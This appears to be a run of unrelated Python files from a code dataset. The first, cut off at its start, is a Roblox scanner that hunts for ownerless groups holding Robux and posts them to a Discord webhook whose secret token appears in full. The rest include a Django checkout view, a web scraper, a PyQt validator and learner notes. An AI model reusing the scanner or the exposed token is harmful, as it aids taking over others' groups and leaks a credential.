threading \nimport ctypes\nprint('''\nRBXEngine - Group Finder\nMade by Meaty#0001\n''')\nthread_count = int(input('How many threads do you want? : '))\n\nurl = \"https://discordapp.com/api/webhooks/675948823150854167/z4BNUMM7niJVHUZSejuXG6kp9ZaCxKpbPdC3WlyEvsN0u3pXd45S5YDJLgV1011xaYvJ\"\nurl2 = \"https://discordapp.com/api/webhooks/675948823150854167/z4BNUMM7niJVHUZSejuXG6kp9ZaCxKpbPdC3WlyEvsN0u3pXd45S5YDJLgV1011xaYvJ\"\nimu = \"\"\n\ndef sendmessage(webURL, groupID, name, memberCount, robux, description, imu, date):\n data = {\n \"username\": \"RBXEngine\",\n \"avatar_url\": \"\",\n \"embeds\": [\n {\n \"author\": {\n \"name\": \"RBXEngine\",\n \"url\": \"\",\n \"icon_url\": \"\"\n },\n \"title\": \"Group Name: \" + str(name),\n \"color\": random.randint(100000,500000),\n \"fields\": [\n {\n \"name\": \"Total Member\",\n \"value\": str(memberCount) + \" Members\",\n \"inline\": True\n },\n {\n \"name\": \"Total Group Funds\",\n \"value\": str(robux),\n \"inline\": True\n },\n {\n \"name\": \"Group Link\",\n \"value\": 'https://www.roblox.com/groups/' + str(groupID),\n \"inline\": True\n },\n {\n \"name\": \"Group Description\",\n \"value\": str(description),\n \"inline\": True\n },\n ],\n \"image\": {\n \"url\": imu\n },\n \"footer\": {\n \"text\": \"Made by meaty | Join Our Discord Server Here: discord.gg/kSp53wq\" + str(date),\n \"icon_url\": \"\"\n }\n }\n\t ]\n }\n h = requests.post(webURL, json=data)\n\ngroups_valid = 0\ngroups_scanned = 0\nrobux = 0\ngroups_list = []\ngroups_removed = 0\ndef group_scanning():\n while True:\n try:\n global groups_valid\n global groups_scanned\n global robux\n global groups\n global groups_removed\n\n print('RBXEngine | Total Checking : {} | Groups Valid : {} | Groups Removed : {} | R$ Earned : {} | by meaty & tut'.format(groups_scanned,groups_valid,groups_removed,robux))\n groupID = random.randint(1,5901231)\n\n checking = requests.get('https://groups.roblox.com/v1/groups/{}'.format(groupID))\n currency = requests.get('https://economy.roblox.com/v1/groups/{}/currency'.format(groupID))\n\n groups_scanned += 1\n\n if checking.status_code != 200:\n continue\n else:\n if 'isLocked' in checking.json():\n continue\n else:\n if checking.json()['publicEntryAllowed'] == False or checking.json()['owner'] != None:\n continue\n else:\n\n \n if groupID not in groups_list:\n groups_list.append(groupID)\n groups_valid += 1\n else:\n groups_removed += 1\n continue\n\n if currency.status_code == 200 and currency.json()['robux'] > 0:\n print('>> {} | Robux : {} | {}\\n'.format(checking.json()['id'],currency.json()['robux'], currency.json()))\n robux += currency.json()['robux']\n with open('groups_robux.txt','a',encoding='UTF-8') as f:\n f.write('{} | {} | {} | Robux : {}\\n'.format(checking.json()['id'],checking.json()['name'],'https://www.roblox.com/groups/' + str(groupID) + 'a',currency.json()['robux']))\n sendmessage(url, checking.json()['id'], checking.json()['name'], checking.json()['memberCount'], currency.json()['robux'], checking.json()['description'], imu, \"26/05/2019\")\n else:\n sendmessage(url2, checking.json()['id'], checking.json()['name'], checking.json()['memberCount'], 0, checking.json()['description'], imu, \"26/05/2019\")\n print('>> {} | No Owner | {}\\n'.format(checking.json()['id'], checking.json()['name'], checking.json()['memberCount'], currency.json()))\n with open('groups.txt','a',encoding='UTF-8') as f:\n f.write('{} | {} | {} \\n'.format(checking.json()['id'],checking.json()['name'] ,'https://www.roblox.com/groups/' + str(groupID) + '/a'))\n except Exception as e:\n print(e)\n\n\nfor x in range(thread_count):\n threading.Thread(target=group_scanning).start()\n","repo_name":"Jmisito/UnclaimedGroupFinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40960491774","text":"from django.shortcuts import render,redirect\nfrom cart.models import CartItem\nfrom orders.models import Order,Payment,OrderProduct\nimport datetime\nfrom store.models import Customizations\nfrom django.template.loader import render_to_string\nfrom django.http import JsonResponse,HttpResponse\nfrom accounts.models import UserProfile\nfrom discounts.models import Discount_codes\nfrom django.template.loader import get_template\nfrom xhtml2pdf import pisa\nfrom paypal.standard.forms import PayPalPaymentsForm\nfrom django.conf import settings\nimport uuid\nfrom django.urls import reverse\nfrom .tasks import order_completion_message\n\n\ndef MK_ORDER (request,total=0,quantity=0,grand_total=0,tax=0):\n is_valed=False\n curent_user=request.user\n car_items=CartItem.objects.filter(user=curent_user)\n cart_count=car_items.count()\n if cart_count <= 0 :\n return redirect ('store')\n \n for cart_item in car_items:\n total+=(cart_item.product.price * cart_item.quantity)\n quantity+=cart_item.quantity\n tax=(2*total)/100\n grand_total=total+tax\n #========\n user_profile=UserProfile.objects.get(user=curent_user)\n total_discount=0\n if user_profile.discount_cods.exists():\n codes=user_profile.discount_cods.values_list('code',flat=True)\n for code in codes:\n discount=Discount_codes.objects.get(code=code).discount\n total_discount+=discount\n if total < total_discount:\n total=0\n grand_total=tax\n else :\n total = total - total_discount\n grand_total=total+tax\n #========\n order=Order.objects.create(\n user=curent_user,\n first_name=request.POST.get('info[1][first_name]'),\n last_name=request.POST.get('info[2][last_name]'),\n email=request.POST.get('info[3][email]'),\n phone=request.POST.get('info[4][phone]'),\n address_line_1=request.POST.get('info[5][address_line_1]'),\n address_line_2=request.POST.get('info[6][address_line_2]'),\n city=request.POST.get('info[7][city]'),\n state=request.POST.get('info[8][state]'),\n country=request.POST.get('info[9][country]'),\n order_note=request.POST.get('info[10][order_note]'),\n order_total=total,\n tax=tax,\n final_total=total+tax,\n ip=request.META.get('REMOTE_ADDR'))\n \n\n yr=int(datetime.date.today().strftime('%Y'))\n dt=int(datetime.date.today().strftime('%d'))\n mt=int(datetime.date.today().strftime('%m'))\n d=datetime.date(yr,mt,dt)\n current_data=d.strftime('%Y%d%m')\n order_numper=current_data+str(order.id)\n order.order_numper =order_numper\n order.save()\n\n# move the cart items to order product model\n for item in car_items :\n orderproduct=OrderProduct()\n orderproduct.order_id= order.id\n orderproduct.user_id=request.user.id\n orderproduct.product_id=item.product.id\n orderproduct.size=item.size\n orderproduct.color=item.color\n orderproduct.quantity=item.quantity\n orderproduct.product_price=item.product.price\n orderproduct.save()\n\n\n if request.POST.get('button') == 'online':\n url_pyament='/orders/O-payment/?pym-m=oneline&order-num='+order_numper\n else:\n order.payment_method='When Recieving'\n order.is_order=True\n order.save()\n # reduce the quantity of the sold products (decriment th stock)\n car_items=OrderProduct.objects.filter(user=curent_user,order=order)\n for item in car_items:\n try:\n costimiz=Customizations.objects.get(product=item.product,colors=item.color,sizes=item.size)\n costimiz.stock-=item.quantity\n costimiz.save()\n if costimiz.stock <= 0:\n costimiz.delete()\n except:\n pass\n\n # clear the cart\n CartItem.objects.filter(user=curent_user).delete()\n\n #remove discounts codes\n\n codes=UserProfile.objects.get(user=curent_user).discount_cods.values_list('code',flat=True)\n for code in codes:\n Discount_codes.objects.get(code=code).delete()\n url_pyament='/orders/order_complete/?pym-m=when-recieving&order-num='+order_numper\n\n is_valed=True\n data={\n 'is_valed':is_valed,\n 'url_pyament':url_pyament,\n }\n return JsonResponse(data)\n \n\n\n\n\n\ndef PAYMENT_PAGE(request,total=0,quantity=0):\n order_number=request.GET.get('order-num')\n user=request.user\n paypal_payment=None\n try:\n order=Order.objects.get(user=user,is_order=False,order_numper=order_number)\n host=request.get_host()\n invoice=uuid.uuid4()\n paypal_checkout={\n 'business':settings.PAYPAL_RECEIVER_EMAIL,\n 'amount':order.order_total,\n 'tax':order.tax,\n 'item_name':order.full_name(),\n 'item_number':order_number,\n 'invoice':invoice,\n 'currency_code':'USD',\n 'notify_url':f\"http://{host}{reverse('paypal-ipn')}\",\n 'return':f\"http://{host}{reverse('order_complete')}?pym-m=online&order-num={order_number}&invoice={invoice}\",\n 'cancel_url':f\"http://{host}{reverse('payment-cancel')}\",\n }\n paypal_payment=PayPalPaymentsForm(initial=paypal_checkout)\n except:\n return redirect('home')\n return render(request,'orders/patment_page.html',{'paypal':paypal_payment})\n\n\n\ndef ORDER_COMPLEAT (request):\n order_number=request.GET.get('order-num')\n try:\n order=Order.objects.get(user=request.user,order_numper=order_number,status='Delivery is in progress')\n except:\n return redirect('home')\n return render(request,'orders/order_complete.html')\n\n\n\n\ndef CHECK_ORDER (request):\n pyment_method=request.GET.get('pyment_method')\n order_number=request.GET.get('order_number')\n user=request.user\n template=False\n if '/en/' in request.path:lang='en'\n else:lang='ar'\n if pyment_method == 'online':\n invoice=request.GET.get('invoice')\n payerID=request.GET.get('payerID')\n try:\n order=Order.objects.get(user=user,order_numper=order_number,is_order=True)\n order_products=OrderProduct.objects.filter(order__id=order.id)\n payment=Payment.objects.get(payer_id=payerID,invoice_id=invoice,user=user)\n except (Payment.DoesNotExist,Order.DoesNotExist):\n order_products=None\n order=None\n payment=None\n else:\n try:\n order=Order.objects.get(user=user,order_numper=order_number,is_order=True)\n order_products=OrderProduct.objects.filter(order__id=order.id)\n payment=None\n #start send th messge\n if order.order_E_mesg == False:\n id=user.id\n order_completion_message.delay(id,order_number,lang)\n # end send the mesgge\n except:\n return redirect('home')\n if order_products:\n subtotal=0\n for i in order_products :\n subtotal += i.product_price * i.quantity\n context={\n 'order':order,\n 'order_products':order_products,\n 'order_number':order_number,\n 'subtotal':subtotal,\n 'payment':payment,\n 'lang':lang,\n }\n template=render_to_string('orders/ajax/order_complete_aj.html',context)\n \n \n data={\n 'template':template,\n }\n return JsonResponse(data)\n\n\ndef payment_cancel(request):\n return HttpResponse('worng')\n\n\n\n\n\n\n\n \n\n\n\ndef GENERATE_INVOICE (request,order_number):\n order=Order.objects.get(user=request.user,order_numper=order_number,is_order=True)\n order_products=OrderProduct.objects.filter(order__id=order.id)\n total=0\n for i in order_products :\n total += i.product_price * i.quantity\n total_discount=0\n if request.user.is_authenticated:\n user=request.user\n user_profile=UserProfile.objects.get(user=user)\n if user_profile.discount_cods.exists():\n # codes=user_profile.discount_cods.all()\n codes=user_profile.discount_cods.values_list('code',flat=True)\n for code in codes:\n discount=Discount_codes.objects.get(code=code).discount\n total_discount+=discount\n if total < total_discount:\n total=0\n else :\n total = total - total_discount\n\n template_path = 'includes/invoice.html'\n context = {'order_products': order_products,'order':order,'total':total}\n # Create a Django response object, and specify content_type as pdf\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"invoice.pdf\"'\n # response['Content-Disposition'] = 'filename=\"report.svg\"'\n # find the template and render it.\n template = get_template(template_path)\n html = template.render(context)\n\n # create a pdf\n pisa_status = pisa.CreatePDF(\n html, dest=response)\n # if error then show some funny view\n if pisa_status.err:\n return HttpResponse('We had some errors
' + html + '
')\n return response\n\n","repo_name":"mohamedsameh2002/coza-store","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28879615630","text":"# coding:utf-8\n\nimport concurrent.futures\nimport time\n\nimport requests\nimport tensorflow as tf\nfrom bs4 import BeautifulSoup\n\nfrom util import path\n\nSPIDERS_DIC = {\n 'sport': \"https://search.jd.com/Search?keyword=%E8%BF%90%E5%8A%A8%E8%A3%85%E5%A5%B3&enc=utf-8&page=\"\n}\nsearch_page_num = 100\n\n\nclass Spider:\n def __init__(self):\n self.headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}\n self.pids = set() # 页面中所有的id,用来拼接剩下的30张图片的url,使用集合可以有效的去重\n self.img_urls = set() # 得到的所有图片的url\n\n # 得到每一页的网页源码\n def get_html(self, page, style):\n url = SPIDERS_DIC[style] + str(page)\n res = requests.get(url, headers=self.headers)\n html = res.text\n return html\n\n # 得到每一个页面的id\n def get_pids(self, page, style):\n html = self.get_html(page, style)\n soup = BeautifulSoup(html, 'lxml')\n lis = soup.find_all(\"li\", class_='gl-item')\n for li in lis:\n data_pid = li.get(\"data-pid\")\n if (data_pid):\n self.pids.add(data_pid)\n # print self.pids\n # print \"-------------------------------------------------------------\"\n\n def get_src_imgs_data(self, page, style):\n html = self.get_html(page, style)\n soup = BeautifulSoup(html, 'lxml')\n divs = soup.find_all(\"div\", class_='p-img') # 图片\n # divs_prices = soup.find_all(\"div\", class_='p-price') #价格\n image_src = []\n for div in divs:\n img_1 = div.find(\"img\").get(\"src\") # 得到已经加载出来的url\n img_2 = div.find(\"img\").get(\"source-data-lazy-img\")\n if img_1:\n # image_src.append('http:' + img_1)\n pass\n if img_2:\n image_src.append('http:' + img_2)\n print(\"============Get size of image : %d\" % len(image_src))\n return image_src\n\n def do_download(self, image_src, cache_dir, cache_subdir):\n for image_urls in image_src:\n for image_url in image_urls:\n while True:\n download_ok = True\n try:\n image_name = image_url.split('/')[-1]\n tf.keras.utils.get_file(fname=image_name, origin=image_url,\n cache_dir=cache_dir,\n cache_subdir=cache_subdir)\n except Exception as e:\n download_ok = False\n print(e)\n print(\"start retry\")\n if download_ok:\n break\n\n def save_image2file(self, style, photo_save_dir, photo_save_subdir, thread_number):\n images_src = []\n for i in range(thread_number):\n images_src.append([])\n for page in range(search_page_num):\n images_src[page % thread_number].append(self.get_src_imgs_data(page, style))\n with concurrent.futures.ThreadPoolExecutor(max_workers=thread_number) as executor:\n futures = []\n start_time = time.time()\n for image_src in images_src:\n futures.append(executor.submit(self.do_download(image_src, photo_save_dir, photo_save_subdir)))\n concurrent.futures.wait(futures)\n print(\"Time of downloading pictures : %f s\" % (time.time() - start_time))\n\n def main(self, style, photo_save_dir, photo_save_subdir, thread_number):\n self.save_image2file(style, photo_save_dir, photo_save_subdir, thread_number)\n print(\"--------------------------------------SUCCESS----------------------------------------------\")\n\n\nif __name__ == '__main__':\n style = 'sport'\n photo_save_dir = path.SPIDER_PATH\n photo_save_subdir = style\n thread_number = 4\n Spider().main(style, photo_save_dir, photo_save_subdir, thread_number)\n","repo_name":"dinghuanghao/JD-AI-Fashion-Challenge-RAW","sub_path":"util/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"26994783743","text":"from core.api.viewsets import ClienteViewSet, EnderecoViewSet\nfrom rest_framework import routers as rt\nfrom rest_framework_nested import routers as ntr\n\nrouter = ntr.SimpleRouter()\nrouter.register('cliente', ClienteViewSet, base_name='cliente')\nrouter.register('endereco', EnderecoViewSet, base_name='endereco')\ncliente_router = ntr.NestedSimpleRouter(router, 'cliente', lookup='cliente')\ncliente_router.register('endereco', EnderecoViewSet, base_name='endereco')\n\"\"\"\nmaildrops_router = routers.NestedSimpleRouter(client_router, r'maildrops', lookup='maildrop')\nmaildrops_router.register(r'recipients', MailRecipientViewSet, base_name='recipients')\nfor url in router.urls:\n print(url)\n\"\"\"\nfor url in router.urls:\n print(url)","repo_name":"ElyasSantana/provama9","sub_path":"mysite/routers.py","file_name":"routers.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15817005282","text":"import librosa\nimport numpy as np\nimport os\nimport random\n\nall_audio = [f for f in os.listdir('LibriCount10-0dB/test/') if '.wav' in f]\ntrain_idx = random.sample(range(len(all_audio)), 1000)\ntest_idx = np.setdiff1d(range(len(all_audio)), train_idx)\n\nn = len(all_audio)\n\n# initialise feature matrices\nmfccs = np.zeros((n,10*216))\nrms = np.zeros((n,216))\nchroma = np.zeros((n, 12*216))\n\n# extract features\nfor i, f in enumerate(all_audio):\n y, sr = librosa.load(os.path.join('LibriCount10-0dB/test', f))\n mfccs[i,:] = librosa.feature.mfcc(y=y, sr=sr,n_mfcc=10).reshape(-1)\n S, phase = librosa.magphase(librosa.stft(y))\n rms[i,:] = librosa.feature.rms(S=S).reshape(-1)\n chroma[i,:] = librosa.feature.chroma_stft(y=y).reshape(-1)\n\n# extract labels from file names\nlabels = np.zeros((n,))\nfor i, f in enumerate(all_audio):\n labels[i] = int(f.split('_')[0])\n\nall_data = {0: mfccs,\n 1: rms,\n 2: chroma}\n\n# save features and labels to pickle\nwith open('audio_feats.pkl', 'wb') as file:\n pickle.dump(all_data, file)\nwith open('audio_labs.pkl', 'wb') as f:\n pickle.dump(labels, f)\n","repo_name":"jackhogan/MVGKM","sub_path":"LibriCount/data/feature_extract.py","file_name":"feature_extract.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72823810435","text":"\nimport socketio\n\nsio = socketio.Client()\n\n\n@sio.on('connect')\ndef connect():\n\tprint('Connected')\n\n@sio.on('test')\ndef test():\n\tprint('Test')\n\nif __name__ == '__main__':\n\tsio.connect('http://192.168.43.135:5000')\n","repo_name":"lamnt437/HelloWorldEv3","sub_path":"testsocket.py","file_name":"testsocket.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6224648202","text":"# 要求:一个文本框只能输入18到180之间的数字,如果不符合不会显示,当从该文本框移动出另外一个文本框时,如果不符合要求会默认给他一个返回值,\n\nfrom PyQt5.Qt import *\nimport sys\n\n\nclass AgeVadidator(QValidator):\n\n # input_str是指你输入的文本框的内容,pos_int是指你输入几个字符光标就停留在第几个字符后,这个可以用于用户输入了多少就能判断目前输入的是否符合条件\n\n def validate(self, input_str, pos_int): # validate是内置时间,当在文本框输入就会自动触发这个函数\n print(input_str,pos_int)\n try:\n if 18 <= int(input_str) <= 180:\n return (QValidator.Acceptable,input_str,pos_int) # 符合这个范围就会显示在文本内容中\n elif 1 <= int(input_str) <= 17:\n # 当输入的小于18,但是这个时候还能在输入比如123,加上这句话就能实现中间值等待\n return (QValidator.Intermediate, input_str, pos_int)\n else:\n return (\n QValidator.Invalid,\n input_str,\n pos_int) # 不符合的在输入不会显示数字\n\n except BaseException:\n if len(input_str) == 0:\n return (QValidator.Invalid, input_str, pos_int)\n return (QValidator.Invalid, input_str, pos_int)\n\n def fixup(self, str): # 结尾处理函数,输入完毕后,鼠标移动出输入框后,如果输入的内容不符合条件会走此函数逻辑\n print(str) #p_str是上方的input_str\n try:\n if int(str) < 18:\n return 18\n else:\n return 180\n except BaseException:\n return 18\n\n\nclass MyAgeVadidator(QIntValidator):\n def fixup(self, p_str):\n if len(p_str) == 0 or int(p_str) < 18:\n return 18\n\nclass Window(QWidget):\n\n def __init__(self):\n super().__init__()\n self.resize(500, 500)\n self.setup()\n\n def setup(self):\n password_line = QLineEdit(self)\n #validate = AgeVadidator()\n validate = MyAgeVadidator(18, 180) # QIntValidator实现了控制范围的内置方法 实现过程参考上述类中的逻辑\n password_line.setValidator(validate)\n line = QLineEdit(self)\n line.move(100, 100)\n\n\napp = QApplication(sys.argv)\nwindow = Window()\n\nwindow.show()\nsys.exit(app.exec_())\n","repo_name":"ywkangkai/PythonGUI","sub_path":"GUI/单行文本框操作/案例/案例4.py","file_name":"案例4.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71353760834","text":"def merge(a1, a2, arr):\n i, j, k = 0, 0, 0\n while i < len(a1) and j < len(a2):\n if a1[i] < a2[j]:\n arr[k] = a1[i]\n k += 1\n i += 1\n\n else:\n arr[k] = a2[j]\n j += 1\n k += 1\n \n while i < len(a1):\n arr[k] = a1[i]\n k += 1\n i += 1\n \n while j < len(a2):\n arr[k] = a2[j]\n k += 1\n j += 1\n\n\ndef sort_arr(arr):\n if len(arr) <= 1:\n return\n\n mid = len(arr)//2\n a1 = arr[:mid]\n a2 = arr[mid:]\n sort_arr(a1)\n sort_arr(a2)\n merge(a1, a2, a)\n\n\ndef pair_sum(arr, s):\n # T --> O(N2)\n sort_arr(arr)\n output = []\n for i in range(len(arr)):\n for j in range(i+1,len(arr)):\n if arr[i] + arr[j] == s:\n output.append([arr[i], arr[j]])\n return output","repo_name":"amit7815/Coding","sub_path":"28_sep_2023/28_sum_pair_sum.py","file_name":"28_sum_pair_sum.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15485346987","text":"from tkinter import *\nfrom difflib import get_close_matches\nimport Backend\nimport random\nimport time\n\nLARGE_FONT= (\"Verdana\", 12)\n\nclass QuizPage(Frame):\n\n def __init__(self, parent, controller, btn_start, btn_dict):\n Frame.__init__(self, parent)\n self.four_word_dict = dict()\n self.button_answer_dict = dict()\n self.correct_answer = 0\n self.selected_database = None\n self.selected_word_or_def = None\n\n # Create the commands\n def generate_quiz(database, word_or_def):\n selected_word = Backend.generate_random(database)\n word_options = Backend.word_list(selected_word)\n for word in word_options:\n word_tup = Backend.search(word)\n self.four_word_dict[word] = Backend.get_definition(word_tup)\n frame3.text1.delete(1.0, END)\n random.shuffle(word_options)\n button_list = [frame4.button0, frame4.button1, frame4.button2, frame4.button3]\n self.selected_database = database\n self.selected_word_or_def = word_or_def\n if word_or_def == 'word':\n frame3.text1.insert(END, selected_word)\n for button,word in zip(button_list, word_options): \n button.config(text = self.four_word_dict[word], wraplength = 350, justify = CENTER, fg = 'black')\n if word == selected_word:\n self.button_answer_dict[button] = 1\n else:\n self.button_answer_dict[button] = 0\n elif word_or_def == 'definition':\n frame3.text1.insert(END, self.four_word_dict[selected_word])\n for button,word in zip(button_list, word_options): \n button.config(text = word, wraplength = 350, justify = CENTER, fg = 'black')\n if word == selected_word:\n self.button_answer_dict[button] = 1\n else:\n self.button_answer_dict[button] = 0\n else:\n pass\n\n def answerClick(button):\n if self.button_answer_dict[button] == 1:\n self.correct_answer += 1\n if self.correct_answer > 0:\n frame1.label2.config(text = self.correct_answer, fg = 'green')\n else:\n frame1.label2.config(text = self.correct_answer, fg = 'red')\n generate_quiz(self.selected_database, self.selected_word_or_def)\n else:\n button.config(text = 'Wrong!', fg = 'red')\n self.correct_answer -= 1\n if self.correct_answer > 0:\n frame1.label2.config(text = self.correct_answer, fg = 'green')\n else:\n frame1.label2.config(text = self.correct_answer, fg = 'red')\n frame1.label2.config(text = self.correct_answer)\n\n def clear_count():\n self.correct_answer = 0\n frame1.label2.config(text = self.correct_answer)\n\n # Create Frames (frontend interface)\n label = Label(self, text=\"Quiz\", font=LARGE_FONT)\n label.pack(pady=10,padx=10)\n\n frame1 = Frame(self)\n frame1.pack()\n\n frame1.button1 = Button(frame1, text=\"Back to Home Page\", width = 25, bg = 'MediumPurple1', \n command=lambda: controller.show_frame(btn_start))\n frame1.button1.pack(side = LEFT, padx = 10, pady = 5)\n frame1.button2 = Button(frame1, text=\"Go to Dictionary\", width = 25, bg = 'RosyBrown1',\n command=lambda: controller.show_frame(btn_dict))\n frame1.button2.pack(side = LEFT, padx = 10, pady = 5)\n frame1.label1 = Label(frame1, text = 'Points', wid = 15)\n frame1.label1.pack(side = LEFT)\n frame1.label2 = Label(frame1, text = self.correct_answer, bg = 'white')\n frame1.label2.pack(side = LEFT)\n\n frame2 = Frame(self)\n frame2.pack()\n\n frame2.button1 = Button(frame2, text = \"Random Learned Word\", width = 20, bg = 'khaki1', command = lambda: generate_quiz('learned_words', 'word'))\n frame2.button1.pack(side = LEFT, padx = 10, pady = 5)\n frame2.button2 = Button(frame2, text = \"Random Learned Definition\", width = 20, bg = 'salmon', command = lambda: generate_quiz('learned_words', 'definition'))\n frame2.button2.pack(side = LEFT, padx = 10, pady = 5)\n frame2.button3 = Button(frame2, text = \"Random All Word\", width = 20, bg = 'turquoise', command = lambda: generate_quiz('dictionary', 'word'))\n frame2.button3.pack(side = LEFT, padx = 10, pady = 5)\n frame2.button4 = Button(frame2, text = \"Random All Definition\", width = 20, bg = 'thistle2', command = lambda: generate_quiz('dictionary', 'definition'))\n frame2.button4.pack(side = LEFT, padx = 10, pady = 5)\n frame2.button4 = Button(frame2, text = \"Clear Counter\", width = 20, bg = 'SlateBlue1', command = clear_count)\n frame2.button4.pack(side = LEFT, padx = 10, pady = 5)\n\n frame3 = Frame(self)\n frame3.pack()\n\n frame3.text1 = Text(frame3, bg = 'white', width = 60, height = 5, wrap = WORD)\n frame3.text1.pack(side = LEFT, padx = 10, pady = 5)\n\n frame4 = Frame(self)\n frame4.pack()\n\n frame4.button0 = Button(frame4, text = '', width = 50, height = 4, command = lambda: answerClick(frame4.button0))\n frame4.button0.pack(side =TOP)\n\n frame4.button1 = Button(frame4, text = '', width = 50, height = 4, command = lambda: answerClick(frame4.button1))\n frame4.button1.pack(side =TOP)\n\n frame4.button2 = Button(frame4, text = '', width = 50, height = 4, command = lambda: answerClick(frame4.button2))\n frame4.button2.pack(side =TOP)\n\n frame4.button3 = Button(frame4, text = '', width = 50, height = 4, command = lambda: answerClick(frame4.button3))\n frame4.button3.pack(side =TOP)\n","repo_name":"chillihe/English-Learning-Tool-with-Dictionary-and-Quiz","sub_path":"QuizPage.py","file_name":"QuizPage.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17672828154","text":"import random\nfrom typing import List\n\nimport discord\nfrom discord.ext import commands\n\nfrom configs.cmd_config import STRINGS\nfrom configs.quote_config import WRITE_ACCESS, READ_ACCESS\nfrom utility.cogs_enum import Cogs\n\n\nasync def write_access_granted(ctx: commands.context):\n for role in ctx.author.roles:\n if role.id in WRITE_ACCESS:\n return True\n\n return False\n\n\nasync def read_access_granted(ctx: commands.context):\n for role in ctx.author.roles:\n if role.id in READ_ACCESS:\n return True\n\n return False\n\n\nclass Quotes(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.DB = bot.get_cog(Cogs.DB.value)\n\n @commands.group(aliases=['quote', 'q'])\n @commands.check(read_access_granted)\n async def cmd_quote(self, ctx: commands.Context):\n if ctx.invoked_subcommand is None:\n await self.get_quote(ctx)\n\n @cmd_quote.command(aliases=['add', 'a'])\n @commands.check(write_access_granted)\n async def add_quote(self, ctx: commands.Context, member: discord.Member = None, *, quote=None):\n db = self.DB.connect()\n\n try:\n cur = db.cursor()\n db.autocommit(True)\n\n if member is None:\n return await ctx.channel.send(\"Author is missing!\")\n\n if quote is None:\n return await ctx.channel.send(\"Quote is missing!\")\n\n # add new quote\n cur.execute(\"INSERT INTO quotes (quote, author) VALUES (%s, %s)\", (quote, member.display_name,))\n except Exception as e:\n self.DB.log(str(e))\n\n finally:\n db.close()\n\n async def get_quote(self, ctx: commands.Context):\n db = self.DB.connect()\n\n try:\n cur = db.cursor()\n db.autocommit(True)\n cur.execute(\"SELECT quote, author FROM quotes\")\n\n if cur.rowcount <= 0:\n return await ctx.channel.send(\"No quotes found!\")\n\n qs: List = cur.fetchall()\n q = random.choice(qs)\n\n return await ctx.channel.send(\n STRINGS.QUOTE_MESSAGE.value.format(TEXT=q[0], AUTHOR=q[1]))\n\n except Exception as e:\n self.DB.log(str(e))\n\n finally:\n db.close()\n","repo_name":"the501legion/DiscordBots","sub_path":"PrincessPaperplane/cmds/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"18151365767","text":"import sys\nsys.stdin = open('input.txt', \"r\")\n'''\n백준이는 N권의 책을 나눠준다.\n책은 1~N 까지의 번호가 있다.\n\n학부생이 M명 있다.\n학부생들은 a,b 를 제출하게되고, a이상 b 이하인 ��� 중에서 남아있는 책 한권을 골라 학생에게 준다.\n\n가장 많은학생에게 책을 주는 방법은?\n\n\n'''\nfor _ in range(int(sys.stdin.readline().rstrip())):\n N, M = map(int, sys.stdin.readline().rstrip().split(' '))\n\n isBorrow = [False] * (N+1)\n answer = 0\n board = []\n for _ in range(M):\n a, b = map(int, sys.stdin.readline().rstrip().split(' '))\n board.append([a, b])\n board.sort(key=lambda x: (x[1], x[0]))\n for a, b in board:\n print(a, b)\n for idx in range(a, b+1):\n if isBorrow[idx] == False:\n answer += 1\n isBorrow[idx] = True\n break\n print(isBorrow)\n\n print(answer)\n","repo_name":"aver1001/Problem-Solving","sub_path":"풀이 완료/9576/acmicpc.py","file_name":"acmicpc.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20699600077","text":"#纯数字\nnumeric = 9527\n\n#字符串与数字连接\nstring = '$' + str(numeric)\n\n#重复三次\nprint(withOperator * 3)\n\n#多行\nmultiLine = \"竟然是这样的P\" \\\n \"y代码\"\n\nmultiLine = '''\n这你信么?\n多行竟然长这样\n强大的php只需要\"\n 还记得php\n 强大的字符\n 串么\n\"\n'''\n\n#使用动态变量\nshadowMultiBlock = 'multiBlock' #dddd\nprint(locals()[shadowMultiBlock])\n\n#使用变量\nmstring = len(locals()[string])\nfor i in range(0, shadowMultiBlockLenght):\n print(shadowMultiBlock[i])\n\n#列表使用 址复制\nsharingan = ['list', 'detail', 'gogoing']\nsharinganCopy = sharingan\nsharingan += [111]\n\n#列表使用 值复制\nsharingan = ['list', 'detail', 'gogoing']\nsharinganCopy = sharingan[:]\nsharingan += [111]\nprint(sharingan)\nprint(sharinganCopy)\nprint(id(sharingan))\nprint(id(sharinganCopy))\n\n#*地址相同\nshadow = sharingan * 3\nprint(shadow)\n#i为值\nfor i in shadow:\n print(i, id(i))\n\nexit()\n\n\n#dict\nshadow = {'hello': 'shinagawa', 'world': 'tokyo'}\n#i为键\nfor i in shadow:\n print(i, id(i), shadow[i])\nprint(shadow)\n\nexit()\n\n#定义函数\ndef closure(formal_parameter):\n print(formal_parameter)\n return 